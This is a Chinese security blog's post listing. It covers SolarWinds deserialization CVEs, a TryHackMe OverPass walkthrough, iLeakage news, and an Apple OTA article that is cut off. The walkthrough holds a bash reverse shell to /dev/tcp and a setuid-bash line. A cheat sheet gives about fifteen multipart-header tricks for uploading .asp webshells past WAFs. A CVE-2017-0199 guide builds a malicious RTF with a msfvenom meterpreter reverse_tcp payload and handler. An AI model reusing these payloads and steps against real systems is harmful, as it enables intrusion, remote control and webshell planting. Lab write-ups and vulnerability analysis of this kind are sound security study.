ISHACK AI BOT 发布的所有帖子
-
[Parror]安装卡百分之91的解决方法
前言 /usr/sbin/souurces-media-unmount 未能在600s内完成 昨天没有认真打靶场,在此深刻反思自己,是因为在搞一些其他东西 如果你不幸和我卡百分之九十一,尝试去搜索引擎上搜索,是没有任何解决办法的,别问,问就是试过了 搜索引擎上一共有两个答案:一个是注释配置文件,一个是杀死进程 可以明确的说,都不管用 关于Parror 我一直都在用kali linux但是听,Parror比kali linux好用,今日一上手感觉不错. 我硬盘一直不够,所以就没用 但是就在昨天我终于狠心删除了陪伴我一个暑假的PUBG腾出来一些内存安装Parror,现在电脑上基本没游戏了 呜呜呜等我升级完硬盘在下回来 总之她挺好的 踩坑一天的解决方法 一句话: 安装前换apt源,我换的是清华的apt源 这样就安装成功了 另外再次感谢我亲爱的昔日Thm国区第一的群主
-
在SOLARWINDS平台中查找反序列化错误
我们会在本文中详细介绍四个在去年被修复的旧漏洞: CVE-2022-38108; CVE-2022-36957; CVE-2022-36958; CVE-2022-36964; CVE-2022-38108 这个漏洞已经在这篇博客文章中提到了。 简单来说,几个SolarWinds服务通过RabbitMQ实例相互通信,该实例可通过端口5671/TCP访问。虽然访问它需要凭据,但是高权限用户可以通过SolarWinds Orion平台提取这些凭据,攻击者利用CVE-2023-33225,它允许低权限用户提取这些凭证。 该漏洞针对的是SolarWinds信息服务。为了向信息服务发送AMQP消息,必须将消息的Routing-Key设置为SwisPubSub, Routing Key就是路由规则,消息对应的队列。 AMQP消息中的Routing-Key 现在,让我们来验证SolarWinds是如何处理这些消息的,可以从EasyNetQ.Consumer.HandleBasicDeliver方法开始: 在[1]处,代码检索AMQP消息的属性,这些属性由发送消息的攻击者控制。 在[2]处,它创建了一个执行上下文,其中包含AMQP消息属性和消息正文。 在[3]处,它执行一个任务来使用消息。 这就需要Consume方法。 在[1]处,EasyNetQ.DefaultMessageSerializationStrategy.DeserializeMessage被调用,它接受输入的消息属性和消息正文。调用名为DeSerialize的方法并返回type类型的输出,作为输入,它从消息中接受Type属性。 我们可以通过AMQP消息属性控制messageType类型! 在[2]处,它调用BytesToMessage,同时接受攻击者控制的类型和输入的消息正文。 在[1]处,消息正文被解码为UTF-8字符串。它应该包含JSON格式的数据。在[2]处,执行反序列化。我们控制目标类型和序列化负载。在[3]处,可以看到TypeNameHandling反序列化设置被设置为Auto。 现在,我们需要远超需要实现的远程代码。要做到这一点,我们必须发送一个AMQP消息,其中Type属性设置为危险类型。 通过AMQP属性控制反序列化类型 在消息正文中,我们必须传播相应的JSON.NET gadget(有潜在可以被利用的代码片段)。本文使用了ysosserial.net中的一个简单的WindowsPrincipal gadget,它是内部存储的BinaryFormatter gadget的桥梁,JSON反序列化后,RCE将通过底层BinaryFormatter反序列化来实现。 这样,就可以通过远程执行恶意代码来控制目标系统的漏洞! CVE-2022-36957 在之前的漏洞中,我们能够通过AMQP属性完全控制目标反序列化类型。当发现这样的漏洞时,我们需要知道合法消息是什么样子?我们经常检查在典型产品操作过程中反序列化的类型。 我们很快意识到SolarWinds只发送一种类型的信息,即SolarWinds.MessageBus.Models.Indication。 现在我们分析一下这种类型:在[1]和[2]处,我们可以看到两个类型为SolarWinds.MessageBus.Models.PropertyBag的公共成员。 在[1]处,您可以看到所讨论的类的定义,SolarWinds.MessageBus.Models.PropertyBag。 在[2]处,为该类注册了一个自定义转换器SolarWinds.MessageBus.Models.PropertyBagJsonConverter。它实现了ReadJson方法,该方法将在反序列化过程中调用。 在[1]处,代码遍历JSON属性;在[2]处,检索JSON值并将其转换为jobobject类型;在[3]处,根据存储在t键中的值检索Type;在[4]处,存储在v键中的对象被反序列化,此时我们再次控制目标反序列化类型。 你可以看到,我们再次控制了反序列化类型,该类型通过JSON键传播,序列化的有效负载通过v键传播。 现在,我们可以获取任何属性,例如:IndicationId。然后,我们需要: 1.将t键的值设置为恶意类型的名称。 2.在v键的值中放入恶意序列化的有效负载。 由于JSON反序列化设置被设置为TypeNameHandling.Auto。现在,让我们看一下上面描述的第一个漏洞,CVE-2022-38108,通过将目标反序列化类型硬编码到SolarWinds.MessageBus.Models.Indication来修复。毕竟,这是唯一需要反序列化的合法类型。 这个修正是不够的,因为SolarWinds.MessageBus.Models.Indication可以用来传播一个攻击者控制类型的内部对象。通过控制类型,我们就可以通过远程执行恶意代码来控制目标系统的漏洞! CVE-2022-36958 SolarWinds定义了一些称为“SWIS动词”的内部方法/操作。这些动词可以是: 1.通过API直接调用。 2.通过Orion平台Web UI间接调用(Orion平台内部调用动词)。 关于SWIS动词,我们需要了解以下2点: 1.它们是使用XML结构中的有效负载调用的。 2.它们接受预定义类型的参数。 例如,Orion.AgentManagement.Agent.Deploy动词接受12个参数。下面的屏幕截图显示了这些参数及其相应的类型。 Orion.AgentManagement.Agent.Deploy的参数 参数的处理是通过方法SolarWinds.InformationService.Verb. VerbExecutorContext.UnpackageParameters(XmlElement[], Stream)执行的。 在[1]处,检索给定动词参数的Type;在[2]处,使用检索到的参数类型初始化DataContractSerializer;在[3]和[4]处,参数被反序列化。 这是正在处理一个DataContractSerializer。不过,这样我们无法控制反序列化类型。 目前已找到了一些可滥用的PropertyBag类,通过进一步分析,有多个SWIS动词接受名为SolarWinds.InformationService.Addons.PropertyBag类型的参数。我们可以提供任意XML,将其反序列化为这种类型的对象。 在[1]处,定义了ReadXml方法,它将在反序列化期间被调用;在[2]处,代码遍历所提供的项;在[3]处,检索到关键元素。如果存在,则继续执行代码;在[4]处,检索type元素的值。人们可以放心地猜测它接下来如何执行;在[5]处,检索到value元素;在[6]处,调用Deserialize方法,输入值和类型标记中包含的数据;在[7]处,序列化的有效负载和类型名称被传播给SolarWinds.InformationService.Serialization.SerializationHelper.Deserialize方法。 同样,类型和序列化的有效负载都由攻击者控制。让我们检查一下这个反序列化方法。在[1]处,代码检查所提供的类型是否被缓存。如果不是,则从[2]处的字符串中检索类型。在[3]处,调用静态的DeserializeFromStrippedXml。静态的DeserializeFromStrippedXml方法通过调用SerializationHelper.serializerCache.GetSerializer(type)来检索序列化器对象。然后,它在检索到的序列化器对象上调用(非静态)DeserializeFromStrippedXml(string)方法。 如何检索序列化器 在[1]处,代码尝试从缓存中检索序列化器。在缓存缺失的情况下,它通过调用GetSerializerInternal([2])来检索序列化器,因此我们继续使用GetSerializerInternal进行调查。 在[3]处,根据攻击者控制的类型检索XmlTypeMapping。它没有执行任何安全措施。它仅用于检索关于给定类型的一些基本信息。 在[4]处,初始化XmlStrippedSerializer对象。为构造函数提供了四个参数: 1.一个新的XmlSerializer实例,其中序列化器的类型由攻击者控制。 2.目标类型的XsdElementName,从XmlTypeMapping获得。 3.该类型的Namespace,也是从XmlTypeMapping获得的。 4.类型本身。 到目前为止,我们可以发现: 1.我们正在切换反序列化器。使用DataContractSerializer对整个SWIS动词有效负载和参数进行反序列化。但是,PropertyBag对象最终将使用XmlSerializer进行反序列化。 2.我们完全控制提供给XmlSerializer构造函数的类型,这是利用它的关键条件。 似乎我们有它,通过反序列化中的类型控制的另一个RCE。由于XmlSerializer可能会通过ObjectDataProvider被滥用,我们可以将目标反序列化类型设置为以下类型: 但是,在成功利用漏洞之前,还有必要分析XmlStrippedSerializer.DeserializeFromStrippedXml(String) 。 可以发现,在[1]处,正在创建一个新的XML字符串。它的结构如下: 综上所述: 1.攻击者的XML被一个从传播的类型派生的标记封装,请参阅GetSerializerInternal方法。 2.检索到的Namespace被插入到xmlns属性中。攻击者控制最终XML的主要片段并控制类型。然而,由于自定义的XML封装,ysosserial.netgadget将无法开箱即用。 生成的gadget如下所示: 第一个标记等于ExpandedWrapperOfLosFormatterObjectDataProvider。此标记将由DeserializeFromStripedXml方法自动生成,因此我们需要将其从生成的有效负载中删除!当我们这样做时,下面的XML将被传播给 XmlSerializer.Deserialize方法。 当你比较原始的ysosserial.net gadget和我们当前的gadget时,可以发现一个很大的区别: 1.原始gadget在根标记中定义了两个名称空间:xsi和xsd。 2.当前gadget仅包含一个空xmlns属性。 ObjectInstance标记依赖于xsi命名空间。因此,反序列化将失败。 幸运的是,不必在根标签(root tag)中专门定义命名空间,RootTag 是用于标记 React Native 原生根视图层的不透明标识符(opaque identifier)。因此,我们可以通过在ProjectedProperty0标记中定义这两个名称空间来修复gadget。 通过这种方式,我们得到了第三个RCE,这样,我们就完全控制了目标反序列化类型。 CVE-2022-36964 技术层面,该漏洞与CVE-2022-36958相同,但是,它存在于共享ReadXml方法的相同实现的不同类中。在本例中,易受攻击的类是SolarWinds.InformationService.Contract2.PropertyBag。 TestAlertingAction SWIS动词接受此类型的参数,因此该漏洞可通过API加以利用。 总结 我们在本文介绍了SolarWinds中的四个不同的反序列化漏洞,攻击者可以使用这些漏洞控制反序列化对象的类型,以及介绍了如何通过使用自定义反序列化gadget绕过它们。目前,SolarWinds也对这些绕过进行了修复。
-
[Thm红队]OverPass代码审计绕过JS之host欺骗及反弹Shell提权
前提 房间地址:https://tryhackme.com/room/overpass 两个问题 实战 靶机地址:10.10.109.42 扫一下 开放了ssh 以及80 我们是肯定需要进ssh的 gobu扫一下 当然我们也能dirb or dirsearch扫一下 进入admin 我们查看源代码 当然从扫描结果来看 把login.js暴漏出来了 这说明他不一定是让我们爆破 而是想办法绕过这个js 让我们代码审计一下 学过js的都知道 Windows.location是跳转的意思 这里的意思就是携带cookie就跳转到admin 这是我之前写的PHP登录页面 期中我们用<script> </script>就是写一段js 其中就使用JS进行Window.location跳转 我们看一下cookie.js(好像没什么用) 原来那个我能看出来 这挤一块了(实际上在互联网上正常的JS也是挤一块的),第一个才是另类, 不过看着有点难受 我们通过浏览器给我们整理一下看看吧 没看出个什么东西 再次折反过来分析login.js 这里需要把cookie设计成status0RCookie进行访问就能跳转/admin 那么好我们去试试 直接控制台 Cookies.set("SessionToken",400) 刷新一下 我们截图完整看看 如果你看过我之前写的wp 会觉得他很熟悉,因为此次时刻不出意外我们需要爆破ssh密码了 如果尝试RSA直接私钥登录我觉得不会这么简单的。。。 让我们先尝试一下 把密钥复制进去 可以看到 果然啊还是需要哈希破解 命令忘了我翻一下笔记 好 看我命令 直接秒出来了 让我们ssh连接一下吧 根据这个 判断出账号是james(这里他大写是对他的称呼) 记住了我们爆破的不是ssh的密码 而是ssh密钥的密码 就是 这玩意的密码 让后我们尝试密钥登录一下吧 ssh -i a.rsa [email protected] 输入密码 james13 连接 让我们拿一下user的flag 让后去拿一下todo.txt 先查看一下我们的内核 lsb_release -a: 这个命令会显示关于您的Ubuntu发行版的详细信息,包括版本号。 cat /etc/issue: 这个命令会显示当前系统的发行版和版本信息。 cat /proc/version: 这个命令会显示关于内核和GCC版本的信息。 18.04.4 LTS 看下GCC版本 gcc也正常 上把Bounty Hacker赏金黑客之CVE-2021-3493漏洞提权 CVE-2021-3493可以直接通杀 其实到这里我们有很多种方法提权 作者也不想让我们这样进行提权 但是我这里因为刚用了一次CVE 这次手残想再用一次 想想以后在用其他方法在打一次 hh 但是我突然忘了 咱们没爆破出来SSH密码诶 不好意思我是傻逼, 如果我们尝试修改是需要root权限 不然需要记住自己的current密码 所以咱们还是按正规道路来吧 提权 这里什么也不知道该怎么提权 不过我们记得刚开始的源码 让我们下载一个go语言编辑的东西 我们尝试用vscode打开他 在主函数里我们一个overpass的东西 这貌似是一个加密 让我们尝试打开他 这里给了一个加密,LQ?2>6QiQ$JDE6>Q[QA2DDQiQD2J5C2H?=J:?8A:4EFC6QN. 求助AI爹判断他是ROT47加密 第一次见 我真不知道这是什么东西 也只能借鉴一下wp了 说实话没有个很熟练的,下一步根本很难提权,, 要分析很多数据 好多老外写的WP没有给出/etc/crontab是怎么来的 就直接cat了 就算crontab是临时任务配置文件 但是文件这么多,直接cat也会让人很懵(抱歉,可能是我才疏短浅见得少 所以这个cat /etc/crontab是怎么来的呢? 其中一种方法是跑linpeas.sh国外提权大佬的脚本跑出来的 让后一点一点的分析 还有其他方法也是根据上面的那个提示要分析很多 至于如何使用linpea.sh跑脚本 在上一篇CVE2021中有非常详细的教学 cat /etc/crontab 他的意思是让我们修改overpass.thm数据 hosts数据让他与我们建议联系 且这是每分钟刷新一次 让我们稍微在检查一下ip(虽然右上角有 ctrl+O保存 ctrl+x退出 我们需要修改/ect/hosts文件让他跑我们的服务 在靶机ssh中修改hosts文件让他解析到我们的服务器上 nano /etc/hosts 我们确定一下他是不是解析到我们ip了 这里我161的服务器挂了ping不动 我切换为我另一个 查看一下 可以ping动 mkdir ./downloads/ #创建downloads文件夹 mkdir ./downloads/src #在downloads下创建src文件夹 touch ./downloads/src/buildscript.sh #在src下创建buildscript.sh脚本文件 脚本里面写入一二的任意一条 bash -i >& /dev/tcp/10.2.92.117/7777 0>&1 #反弹shell chmod +s /bin/bash #给予任何人root权限 我已经写入了 python3 -m http.server 80 #开启http服务 让后开启监听 就可以反弹成功 记住任意目录都行但是根目录名称必须是www 所以上图请不要把文件传到桌面,应该传到www目录作为根开启监听 所以上图请不要把文件传到桌面,应该传到www目录作为根开启监听 所以上图请不要把文件传到桌面,应该传到www目录作为根开启监听 好了 我们反弹成功 借鉴了一下博主的视频 博主大概讲了半个小时
-
黑客可以迫使iOS和macOS浏览器泄露密码及更多的大量信息
研究人员已设计出了一种攻击方法,可以利用现代iOS和macOS设备搭载的A系列和M系列CPU中的侧信道漏洞,迫使苹果的Safari浏览器泄露密码、Gmail邮件内容及其他秘密信息。 学术研究人员将这种攻击命名为“iLeakage”,这是一种切实可行的攻击,只需极少的物理资源。然而,它确实需要对苹果硬件进行深入的逆向工程,还需要在利用侧信道(side channel)这类漏洞方面拥有丰富的专业知识。 侧信道可以根据电磁辐射、数据缓存或目标系统的其他表现形式中留下的线索泄露秘密信息。这里的侧信道是推测执行,这是现代CPU中提升性能的一项功能,近年来却成为了一大批攻击的来源,几乎源源不断的漏洞变种使得芯片制造商(主要是英特尔,其次是AMD)竞相制定缓解措施。 利用苹果芯片上的WebKit 研究人员将iLeakage实施成了一个网站,被易受攻击的macOS或iOS设备访问时,该网站使用JavaScript秘密打开攻击者选择的不同网站,并恢复在弹出窗口中渲染/呈现的网站内容。研究人员成功地利用iLeakage恢复了YouTube的观看历史内容、Gmail收件箱的内容(目标登录期间)以及由凭据管理器自动填充的密码。一旦被访问,iLeakage网站需要大约5分钟来分析目标机器,另外平均需要大约30秒来提取一个512位的秘密信息,比如64个字符的字符串。 图1. 上图:Gmail的Web视图中显示的电子邮件。下图:恢复的发件人地址、主题和内容。 研究人员在相关信息网站上写道:“我们展示了攻击者如何诱使Safari呈现任意网页,随后使用推测执行恢复网页中存在的敏感信息。特别是,我们演示了Safari如何允许恶意网页从流行的高价值目标中恢复秘密信息,比如Gmail收件箱内容。最后,我们演示了密码的恢复,以防这些密码被凭据管理器自动填充。” 图2. 上图:谷歌的帐户页面被密码管理器自动填写,其中密码是googlepassword。下图:泄露的页面数据,凭据高亮显示。 虽然iLeakage只在目标运行Safari时攻击Mac,但iPhone和iPad在运行任何浏览器时都可能受到攻击,因为它们都基于苹果的WebKit浏览器引擎。 苹果代表声称,iLeaka已意识到这个漏洞,计划在即将发布的软件版本中解决这个问题,没有指定CVE编号来跟踪该漏洞。 独特的WebKit属性是这种攻击的一个关键因素。A系列和M系列芯片(苹果分别为iOS和macOS设备设计的第一代CPU)是另一种设计,这两种芯片都含有防护措施,旨在防止推测执行攻击,实施这些防护措施的方式存在缺陷,最终让iLeakage得以变成现实。 推测执行:不断捣鼓的黑客手法 2018年初,两个相互独立的研究团队披露了两种攻击,一种名为Spectre,另一种名为Meltdown,两者都能够通过探索推测执行这项提升性能的功能中一个新发现的侧信道来恢复机密信息,且这项功能内置在几乎所有的现代CPU中。将数据从主系统内存移到CPU中很耗费时间,为了缩短等待时间,现代CPU在所需数据可用时立即执行指令,而不是按顺序执行。 这种乱序模式的一个关键要素是预测CPU可能经过的路径,如果预测正确,任务就会比没有预测的情况下更快地完成;如果不正确,CPU将放弃错误预测的路径,采用一条新的正确的路径。Spectre和Meltdown的研究人员发现,无法恢复微架构层面的某些工件,包括缓存和预测器状态。这使得研究人员能够设计出攻击手法,诱骗英特尔和AMD的CPU错误地预测敏感指令,将秘密信息从一个应用程序泄露到另一个独立的、不相关的应用程序中,这严重突破了核心安全边界。 在此后的几年里,CPU制造商和软件开发商想出了许多方法来缓解推测执行攻击。一个关键的缓解措施是限制浏览器或其他应用程序测量CPU执行特定操作所需的精确时间的功能。在浏览器中,更多的缓解措施以名为压缩35位寻址和值中毒的防御形式出现。 图3. 推测类型混淆小工具的伪代码。 iLeakage代表了几项突破。首先,它能够利用类型混淆漏洞,在搭载A系列和M系列芯片的Safari浏览器上击败这些防御措施。其次,它是一种不依赖时间的变种,而是依赖所谓的竞态条件。第三个关键因素是WebKit的独特功能:使用常见的JavaScript方法window.open,将来自不同域的网站整合到同一个渲染器进程中。 图4. 该图概述了基于竞争条件的小工具如何运行以区分缓存命中和缓存未命中。 研究人员在信息网站上写道:为了构建iLeakage,我们先对苹果 Silicon CPU上的缓存拓扑结构进行了逆向工程分析。然后我们使用一个新的基于推测的小工具克服了苹果的计时器限制,我们因而可以区分单个缓存命中和缓存未命中,尽管只能访问低分辨率计时器。我们还演示了这个小工具的一个变种,它不使用计时器,而是利用竞争条件,在使用基于推测的小工具构建驱逐集(eviction set)之后,我们进而分析Safari的侧信道弹性。这里,我们绕过了Safari的35位寻址和值中毒对策,创建了一个可以在Safari的页面呈现过程中推测读取和泄漏任何64位指针的原语。再结合一种将来自不同域的网站整合到同一地址空间的新方法,我们能够发动一种泄漏敏感信息的类似推测的混淆攻击。 研究人员在一篇附带的研究论文(https://ileakage.com/files/ileakage.pdf)中这样描述这种不受时间影响的变种:我们将所有上述构造的原语组合到一个不受时间影响的Spectre v1小工具概念验证(PoC)。大体上而言,我们通过以下方法来做到这一点,即把泄露所推测的秘密信息的基于缓存时间的方法换成不受时间影响地区分缓存未命中和缓存命中的小工具。在这里,我们展示了我们的攻击在Safari、Firefox和Tor上拥有近乎完美的准确性。 万事俱备 攻击要想成功,一台易受攻击的计算机必须先访问iLeakage网站,对于涉及YouTube、Gmail或任何其他特定Web资产的攻击,用户应该在攻击网站打开的同时登录到其帐户。如前所述,攻击者网站需要花大约5分钟来探测访问设备。然后,使用window.open JavaScript方法,iLeakage可以导致浏览器打开任何其他网站,开始以每秒24位到34位的速度窃取某些数据。 正如研究论文解释的那样: 我们先回顾一下,虽然Safari通常遵循严格的每个选项卡进程模式,但由window.open函数打开的页面与父页面共享渲染/呈现过程。因此,我们创建了一个将window.open绑定到onmouseover事件侦听器的攻击者页面,以便我们在我们的地址空间打开任何网页,只要目标的鼠标光标在页面上。 我们注意到,即使目标关闭了打开的页面,内存中的内容也不会立即被清除,从而使我们的攻击得以继续泄露秘密信息。最后,由于window.open执行整合,无论父网页和打开网页的来源是什么,我们将我们攻击者的网页托管在一个非公开访问的Web服务器上,同时使用window.open整合来自其他域的页面。 图5 许多目标很可能会识别出iLeakage生成的弹出窗口并关闭它。即使这样,攻击也会得逞,因为内容在内存中仍然完好无损,使iLeakage得以继续泄露秘密信息。 可以恢复的数据类型包括: •由凭据管理器自动填写的密码 •Gmail收件箱内容 •YouTube观看历史记录 iLeakage是一种切实可行的攻击,只需要很少的物理资源就可以实施,最大的挑战是需要高超的技术专长。攻击者不仅要有利用推测执行漏洞方面的多年经验,还要对A系列和M系列芯片进行全面的逆向工程处理,以深入了解它们含有的侧信道。没有迹象表明这个漏洞以前被发现过,更不用说在外面被大肆利用了,这意味着这个漏洞很快被用于实际攻击的可能性很小。 苹果计划推出的补丁,很可能会在iLeakage式的攻击网站变得切实可行之前,早早实施到位。
-
上传绕过WAF的tips大全
原始默认状态: ——WebKitFormBoundary2smpsxFB3D0KbA7D Content-Disposition: form-data; name=”filepath”; filename=”backlion.asp” Content-Type: text/html 突破0,文件名前缀加[0x09]绕过: ——WebKitFormBoundary2smpsxFB3D0KbA7D Content-Disposition: form-data; name=”filepath”; filename=”[0x09]backlion.asp” Content-Type: text/html 突破1,文件名去掉双引号绕过: ——WebKitFormBoundary2smpsxFB3D0KbA7D Content-Disposition: form-data; name=”filepath”; filename=backlion.asp Content-Type: text/html 突破2,添加一个filename1的文件名参数,并赋值绕过: ——WebKitFormBoundary2smpsxFB3D0KbA7D Content-Disposition: form-data; name=”filepath”; filename=”backlion.asp”;filename1=”test.jpg” Content-Type: text/html 突破3, form变量改成f+orm组合绕过: ——WebKitFormBoundary2smpsxFB3D0KbA7D Content-Disposition: f+orm-data; name=”filepath”;filename=”backlion.asp” Content-Type: text/html 突破4 ,文件名后缀大小写绕过: ——WebKitFormBoundary2smpsxFB3D0KbA7D ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.Asp” Content-Type: text/html 突破5 ,去掉form-data变量绕过: ——WebKitFormBoundary2smpsxFB3D0KbA7D ConTent-Disposition: name=”filepath”; filename=”backlion.asp” Content-Type: text/html 突破6,在Content-Disposition:后添加多个空格 或者在form-data;后添加多个空格绕过: ——WebKitFormBoundary2smpsxFB3D0KbA7D ConTent-Disposition: form-data ; name=”filepath”; filename=”backlion.asp” Content-Type: text/html 或者: ——WebKitFormBoundary2smpsxFB3D0KbA7D ConTent-Disposition: form-data ; name=”filepath”; filename=”baclion.asp” Content-Type: text/html 突破7 ,backlion.asp . (空格+.)绕过: ——WebKitFormBoundary2smpsxFB3D0KbA7D ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp .” Content-Type: text/html 突破8 ,“回车换行,绕过: ——WebKitFormBoundary2smpsxFB3D0KbA7D ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp ” Content-Type: text/html 突破9 ,NTFS流 在文件名后加::$DATA绕过: ——WebKitFormBoundary2smpsxFB3D0KbA7D ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp::$DATA” Content-Type: text/html 或者 ——WebKitFormBoundary2smpsxFB3D0KbA7D ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp::$DATA\0x00\fuck.asp0x00.jpg” Content-Type: text/html 突破10, 经过对IIS 6.0的测试发现,其总是采用第一个Content-Disposition中的值做为接收参数,而安全狗总是以最后一个Content-Disposition中的值做为接收参数。因此尝试构造如下请求[上传backlion.asp成功]: Content-Disposition: form-data; name=”FileUploadName”; filename=”backlion.asp” —————————–15377259221471 Content-Disposition: form-data; name=”FileUploadName”; filename=”backlion.txt” Content-Type: application/octet-stream Content-Disposition: form-data; name=”FileUploadName”; filename=”backlion.asp” Content-Disposition: form-data; name=”FileUploadName”; filename=”backlion.asp” 突破11,将Content-Type和ConTent-Disposition调换顺序位置绕过: ——WebKitFormBoundary2smpsxFB3D0KbA7D Content-Type: text/html ConTent-Disposition: form-data; name=”filepath”; filename=”backlion.asp” 突破12,在文件名前缀加空格(tab键可替换)绕过: ——WebKitFormBoundary2smpsxFB3D0KbA7D Content-Disposition: form-data; name=”filepath”; filename= “backlion.asp” Content-Type: text/html 突破13,在form-data加空格绕过: ——WebKitFormBoundary2smpsxFB3D0KbA7D Content-Disposition: form-data; name=”uploaded”; filename=”backlion.asp” Content-Type: text/html 突破14,在form-data的前后加上+绕过: ——WebKitFormBoundary2smpsxFB3D0KbA7D Content-Disposition: +form-data; name=”filepath”; filename=”backlion.asp” Content-Type: text/html 或者: ——WebKitFormBoundary2smpsxFB3D0KbA7D Content-Disposition: form-data+; name=”filepath”; filename=”backlion.asp” Content-Type: text/html 在上述的方法中,还有些方法可以过安全狗,也可以过D盾、360网站卫士等等。另外从上述方法中,若按你们的想法,会分成那些类型?我在这里统一划分为特性和WAF解析不当(PS下,我不是学术派,较口语化)i,特性包括系统特性,协议特性等等,比如上述中,大多数都属于协议的特性,因为FORM-DATA的协议十分松散;部分属于系统特性,比如加空格、点号、NTFS流等等。而解析不当,比如上述的第二种添加一个filename1,这种在正常情况下无法使用的,如果第0种,对特殊字符无法解析,归根到底也是WAF对内容解析的不当处理。以上方法可以绕过目前大部分waf了,即使防住了,结合下有时候会出现超乎想像的结果
-
windows 10上利用Microsoft RTF文件(CVE-2017-0199)进行攻击
Microsoft Word下的恶意RTF文件容易被收到攻击,在本文中,我们使用python脚本对Microsoft Word 2013进行oday攻击演示,该脚本会生成恶意的.rtf文件,并提供目标系统的篡改会话。 利用工具包CVE-2017-0199 - v2.0是一个很有用的python利用脚本,它提供了一种快速有效的利用Microsoft RTF RCE进行攻击的方式。它可以生成恶意的RTF文件,并将metasploit 下meterpreter反弹shell有效载荷提供给攻击者,而不需要任何复杂的配置。 测试环境: 攻击者:Kali Linux(ip:192.168.1.24) 目标:Windows 10( Microsoft Word 2013 ) 1.打开您的kali Linux的shell终端,然后输入以下命令生成一个恶意rtf: git clone https://github.com/bhdresh/CVE-2017-0199.git 此命令将运行一个python脚本来生成富文本格式的有效载荷,其中-M用于生成rtf文件,-w用于生成rtf文件的名称,即sales.rtf, -u为攻击者的IP地址或域名。 cd CVE-2017-0199 python cve-2017-0199_toolkit.py -M gen -w sales.rtf -u http://192.168.1.24/raj.doc 以下截图中的命令输出生成的恶意.rtf文件即sales.rtf文件可以在系统中找到。在我们将这个文件发送给被攻击者之前,我们需要将它嵌套到任何后门文件中,以便我们可以建立与被攻击者的反向连接。 2.在新终端shell上,使用msfvenom来生成一个exe的有效载荷,以便进行攻击。其命令如下: Msfvenom -p windows / meterpreter / reverse_tcp lhost = 192.168.1.24 lport = 4444 -f exe> /root/Desktop/raj.exe 3.现在将raj.exe和sales.rtf移动到/var/www/html中 4.现在键入以下命令,将raj.exe与sales.rtf进行合并。然后,启动多个处理程序以反向连被入侵者。其命令如下: python cve-2017-0199_toolkit.py -M exp -e http://192.168.1.24/raj.exe -l /var/www/html/raj.exe 5.当受害者打开sales.rtf文件时,攻击者将会在metasploite框架内收到反弹shell msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run" 或者 msf> use multi/handler msf exploit(handler )> set payload windows / meterpreter / reverse_tcp msf exploit(handler )> set lhost 192.168.1.24 msf exploit(handler )> set lport 4444 msf exploit(handler )> exploit syspreter> sysinfo
-
苹果OTA更新的噩梦:看看攻击者如何绕过签名验证并篡改内核
苹果的OTA更新 在大多数情况下,macOS更新是通过OTA更新过程完成的。 OTA是over-the-air的缩写。在“系统设置”中,我们可以通过点击“立即更新”按钮直接更新系统。 OTA更新是一种增量更新,因此比完整的操作系统升级更快,容量更小。 它用于小版本更新,通常每两个月更新一次。但是,如果苹果公司认为内核中存在紧急漏洞,并且已经被积极利用,并且无法通过RSR(快速安全响应)修复,则可能在几周内可用,OTA更新包从Apple CDN服务器下载。 从表中可以看到,OTA包是针对当前操作系统版本定制的。 例如,为了更新到12.6,12.5和12.4的软件包是不同的。更新过程是应用补丁码,所以不同的操作系统版本有不同的补丁码。在大多数情况下,系统越老,包就越大。 下载并解压缩OTA包后,我们可以看到包的内容如下: 引导目录包含与引导过程相关的内容,增量更新的真正补丁代码位于名为payloadv2的目录中。有一个名为payload.bom的关键文件,它列出了OTA包中的所有项目及其校验和值。文件payload.bom.signature用于验证payload.bom文件的完整性。文件pre.bom和post.bom列出了更新前后系统上的所有项目及其校验和值。Info.plist文件提供了有关当前OTA包的一些基本信息,例如预版本、目标版本等。 在payloadv2文件夹中,有一些需要注意的重要文件。新系统中的新数据文件被压缩为名为data_payload的文件。ecc_data文件夹包含一些与文件权限相关的文件。links.txt文件列出了新系统的所有硬链接。removed.txt文件列出了需要从当前系统中删除的所有项目。 更新阶段 一般的更新过程可以抽象为3个阶段。 第一步是下载并解压缩UpdateBrainService 捆绑包。 第二阶段是下载并解压缩OTA包。 第三个阶段是使用OTA包生成UpdateBrainService。 那么,系统从哪里下载UpdateBrainService呢? 经过一些研究,我发现下载网址位于XML文件/System/Library/AssetsV2/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain. XML: 从这个文件中,我们可以看到基本URL和构建完整URL的相对路径。它还包含版本、发布日期、包大小、SHA1值和其他有用的信息。 第一阶段 获取下载URL后,进程nsurlessiond负责将UpdateBrainService下载到临时目录。同时,com.apple.StreamingUnzipService将其解压缩到相同的临时位置。接下来,mobileassetd进程将解压的内容移动到可信位置,/System/Library/AssetsV2/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/。最后,在启动的进程生成UpdateBrainService之前,xpc服务包将被复制到它的暂存路径。 第二阶段 第二阶段与第一阶段相似: 不同之处在于xml路径/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/com_apple_MobileAsset_MacSoftwareUpdate.xml, 下载url和目标位置/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/。 第三阶段 第三个阶段是UpdateBrainService本身。 特定的xpc服务有许多有趣的权限: 例如,“com.apple.rootless.install.heritable”授予其自身及其所有子进程修改SIP保护位置的权限。此外,“com.apple.apfs.reverse to snapshot”和“com.apple.private.apfs.create sealed snapshot(创建密封快照)”权限可能允许服务在重新启动后更新受SSV保护的内容。 我们还应该注意的一点是,它是用标志库验证进行签名的。因此,我们不能通过将动态库注入到这项服务中来直接享受这些权限。 逆转UpdateBrainService com.apple.MobileSoftwareUpdate.UpdateBrainService2 通过简单的逆向工程,我们发现它提供了一个名为com.apple.MobileSoftwareUpdate.UpdaterainService2的mach服务,该服务具有一个称为MSUBrainPrivateSXPCI接口的协议。 它通过在委托方法中返回YES直接接受来自任何客户端的所有xpc连接: 但在研究过程中,我意识到服务中的协议方法没有实现,所以我可能会在未来的版本中再次检查。 com.apple.MobileSoftwareUpdate.UpdateBrainService 还有一个名为com.apple.MobileSoftwareUpdate.UpdateBrainService的服务。它是通过C语言的低级XPC API实现的: 在xpc 